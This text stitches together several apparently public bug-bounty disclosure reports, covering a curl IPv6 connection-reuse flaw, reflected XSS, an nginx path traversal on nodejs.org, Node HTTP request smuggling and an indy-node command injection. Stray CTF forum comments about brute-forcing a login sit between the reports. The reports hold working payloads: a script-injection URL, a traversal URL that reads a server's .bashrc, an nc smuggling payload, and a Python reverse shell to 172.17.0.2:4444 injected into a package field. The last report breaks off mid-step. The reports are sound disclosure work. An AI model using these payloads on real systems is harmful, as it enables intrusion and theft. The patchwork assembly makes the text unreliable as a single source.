[Information Disclosure] CVE-2022-27775: Bad local IPv6 connection reuse

## Summary:
curl/libcurl doesn't consider IPv6 address zone index when doing connection reuse. if connection exists to specific IPv6 address (and other conditions for connection reuse are fulfilled) it will be reused for connections regardless of the zone index.

## Steps To Reproduce:

  1. Set up a fake server: `echo -ne 'HTTP/1.1 200 OK\r\nContent-Length: 6\r\n\r\nHello\n' | nc -6 -v -l -p 9999`
  2. curl "http://[ipv6addr]:9999/x" "http://[ipv6addr%25lo]:9999/y"

Both connections arrive to the test server:

```
Listening on :: 9999
Connection received on somehost someport
GET /x HTTP/1.1
Host: [ipv6addr]:9999
User-Agent: curl/7.83.0-DEV
Accept: */*

GET /y HTTP/1.1
Host: [ipv6addr]:9999
User-Agent: curl/7.83.0-DEV
Accept: */*
```

Clearly the 2nd connection should fail as the address is not available at interface lo. (Lone connection to `http://[ipv6addr%25lo]:9999/` fails with `curl: (7) Couldn't connect to server`)

This vulnerability isn't exploitable with public IPv6 addresses on linux systems (it seems kernel strips out zone index for public addresses). It is exploitable with macOS however, and possibly other non-linux OSes.

## Impact

Reuse of wrong connection leading to potential disclosure of confidential information.


[Cross-site Scripting (XSS) - Reflected] Reflected XSS on [█████████]

## Summary:
Hi security team members,

I found a reflected XSS on the URL

## Impact

1. An attacker can steal the victim's cookies.
2. An attacker can execute JS code.

## System Host(s)
█████

## Affected Product(s) and Version(s)

## CVE Numbers

## Steps to Reproduce
1. Navigate to this link:- https://██████████/██████=%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E
2. Then, it will execute.

## Suggested Mitigation/Remediation Actions


[Path Traversal] Off-by-slash vulnerability in nodejs.org and iojs.org

**Summary:**
Configuration files for Nginx in nodejs/build repository have multiple off-by-slash misconfigurations. Because nodejs.org and iojs.org are deployed using those files, it is possible for an attacker to gain access to unexpected directories. (**This report is not related to nodejs/node.** Therefore, I understand that this report is not eligible to Bounty.)

**Description:**
The following files have multiple off-by-slash misconfigurations.
- https://github.com/nodejs/build/blob/main/ansible/www-standalone/resources/config/nodejs.org
- https://github.com/nodejs/build/blob/main/ansible/www-standalone/resources/config/iojs.org

For example, the following `/metrics` endpoint has no trailing slash, while the alias parameter has a trailing slash.
```
    location /metrics {
        alias /home/dist/metrics/;
        autoindex on;
        default_type text/plain;
    }
```
The setting as above is commonly known as an off-by-slash misconfiguration.
In this case, an attacker can access files in `/home/dist` directory via `/metrics../` endpoint.

## Steps To Reproduce:
For example, you can browse the contents of `/home/dist/.bashrc` by accessing `https://nodejs.org/metrics../.bashrc`.

## Impact:
If sensitive files exist in the dist user's home directory, it is possible for an attacker to view their contents.

## Supporting Material/References:
* https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf

## Impact

An attacker can access files in the `/home/dist` directory of the nodejs.org and iojs.org servers.


Hmmm, that’s how it is. Then HINT becomes logical. Confused by their question. Why then do they ask for “brute force attack”. Inspect the login page and perform a bruteforce attack . What is the valid username? Thank you for the right direction of thought


Hey, I have been stuck in getting the second flag. Any hints are appreciated!


[HTTP Request Smuggling] HTTP Request Smuggling Due To Improper Delimiting of Header Fields

**Summary:**

The `llhttp` parser in the `http` module in Node v17.8.0 does not strictly use the CRLF sequence to delimit HTTP requests. This can lead to HTTP Request Smuggling (HRS).

**Description:**

The LF character (without CR) is sufficient to delimit HTTP header fields in the `lihttp` parser. According to [RFC7230 section 3](https://datatracker.ietf.org/doc/html/rfc7230#section-3), only the CRLF sequence should delimit each `header-field`.

Consider the following request (all lines are delimited by CRLF except the `[\n]` part)

```http
GET / HTTP/1.1
Host: localhost
Dummy: x[\n]Content-Length: 23

GET / HTTP/1.1
Dummy: GET /admin HTTP/1.1
Host: localhost

```

Suppose that an upstream server:
- Correctly delimits lines by the CRLF sequence instead of only LF
- Incorrectly allows the LF character in header values

This leads to HTTP request smuggling as the Node server sees one extra header field, `Content-Length: 23` while the upstream proxy thinks that the content length of the first request is 0.

Request as seen by the Node server:

```http
GET / HTTP/1.1
Host: localhost
Dummy: x
Content-Length: 23

GET / HTTP/1.1
Dummy: GET /admin HTTP/1.1
Host: localhost

```

## Steps To Reproduce:

Server code I used for testing:

```javascript
const http = require('http');

http.createServer((request, response) => {
   let body = [];
   request.on('error', (err) => {
      response.end("error while reading body: " + err)
   }).on('data', (chunk) => {
      body.push(chunk);
   }).on('end', () => {
   body = Buffer.concat(body).toString();

   response.on('error', (err) => {
      response.end("error while sending response: " + err)
   });

   response.end(JSON.stringify({
         "URL": request.url,
         "Headers": request.headers,
         "Length": body.length,
         "Body": body,
      }) + "\n");
   });
}).listen(80);
```

Payload:

```bash
(printf "GET / HTTP/1.1\r\n"\
"Host: localhost\r\n"\
"Dummy: x\nContent-Length: 23\r\n"\
"\r\n"\
"GET / HTTP/1.1\r\n"\
"Dummy: GET /admin HTTP/1.1\r\n"\
"Host: localhost\r\n"\
"\r\n"\
"\r\n") | nc localhost 80
```

**Expected result:** Sees two requests, both to `/`.

**Actual result:** Sees one request to `/` and another to `/admin`.

```http
HTTP/1.1 200 OK
Date: Mon, 28 Mar 2022 15:51:44 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 124

{"URL":"/","Headers":{"host":"localhost","dummy":"x","content-length":"23"},"Length":23,"Body":"GET / HTTP/1.1\r\nDummy: "}
HTTP/1.1 200 OK
Date: Mon, 28 Mar 2022 15:51:44 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 69

{"URL":"/admin","Headers":{"host":"localhost"},"Length":0,"Body":""}
```

## Impact

Depending on the specific web application, HRS can lead to cache poisoning, bypassing of security layers, stealing of credentials and so on.


[Command Injection - Generic] POOL_UPGRADE request handler may allow an unauthenticated attacker to remotely execute code on every node in the network.

This issue is related to the https://github.com/hyperledger/indy-node.
The issue was found in the `indy-node` code that handles the write request of type ****`POOL_UPGRADE` (in file** `indy-node/indy_node/server/request_handlers/config_req_handlers/pool_upgrade_handler.py`****).****

The `additional_dynamic_validation` function handles an undocumented field called `package` that can contain the name of the package to be upgraded. I case that this field is not empty, it is passed as is to the following functions `self.upgrader.check_upgrade_possible -> NodeControlUtil.curr_pkg_info -> cls._get_curr_info`.

```python
def _get_curr_info(cls, package):
    cmd = compose_cmd(['dpkg', '-s', package])
    return cls.run_shell_command(cmd)
```

As seen in the code snippet above, the user supplied name is then concatenated to the string `dpkg -s` and is run as a system command without any sanitization.

This can lead to an attacker supplying a package name, followed by a semicolon and another system command (e.g. `package ; whoami`), resulting in a remote code execution. This of course can be any command, and in the PoC code attached I’m running a reverse shell, effectively taking control of the node, and possibly the entire network and the identities in it (assuming I run this exploit on enough nodes).

The documentation specifies that the `POOL_UPGRADE` can be run by a Trustee only, however, we can run this exploit being a client without any roles in the network.

This is made possible by the fact that the authorization that the `POOL_UPGRADE` handler performs, happens only **after** the package information has been fetched (using `self.upgrader.check_upgrade_possible`). Meaning any client can trigger the vulnerable code path and execute code on all the network’s nodes.

### Steps to reproduce:

We’ll provide 2 methods for this, using the testing framework and independently; both are detailed below. The malicious `POOL_UPGRADE` request looks as follows:

```json
{
    "identifier": "6ouriXMZkLeHsuXrN1X1fd",
    "operation": {
        "action": "start",
        "name": "test",
        "package": "a ; python3 -c \'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\"
        172.17 .0 .2\\ ",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\\" / bin / sh\\ ")\'",
        "schedule": {
            "4yC546FFzorLPgTNTc6V43DnpFrR8uHvtunBxb2Suaa2": "2022-12-25T10:25:58.271857+00:00",
            "AtDfpKFe1RPgcr5nnYBw1Wxkgyn8Zjyh5MzFoEUTeoV3": "2022-12-25T10:26:16.271857+00:00",
            "DG5M4zFm33Shrhjj6JB7nmx9BoNJUq219UXDfvwBDPe2": "2022-12-25T10:26:25.271857+00:00",
            "JpYerf4CssDrH76z7jyQPJLnZ1vwYgvKbvcp16AB5RQ": "2022-12-25T10:26:07.271857+00:00"
        },
        "sha256": "db34a72a90d026dae49c3b3f0436c8d3963476c77468ad955845a1ccf7b03f55",
        "type": "109",
        "version": "1.1"
    },
    "protocolVersion": 2,
    "reqId": 1651152851,
    "signature": "4YoXKHNnWRouTUAW4fKuTANnXNJfY2JoPG4PoXfz4PUzjx4NySrAmzkzy6zCiRRf5uczZx5mQVSm1eCZLnUHUDoT"
}
```

A few notes on some important fields:

- `package` - the undocumented field that leads to the security issue. After the semi-colon we have the injected command. In this case, a Python reverse shell (note that you’ll need to change the IP address and port to point to you)
- `schedule` - It’s important only because we need it in order to pass the `static_validation` of this request, just need to set the public nodes and a time in the future.
- `signature` - the request should be properly signed by any identity in the network (no role needed)

**Run using pytest:**

1. `cd indy_node/test/`
2. Drop the `exploit_test.py` file
3. Listen for incoming connection on a different machine (e.g. `ncat -lvvp 4444`)
4. Find the following code in the exploit `s.connect(("172.17.0.2",4444))`, and replace the address and port for your ones
5. Disable the testing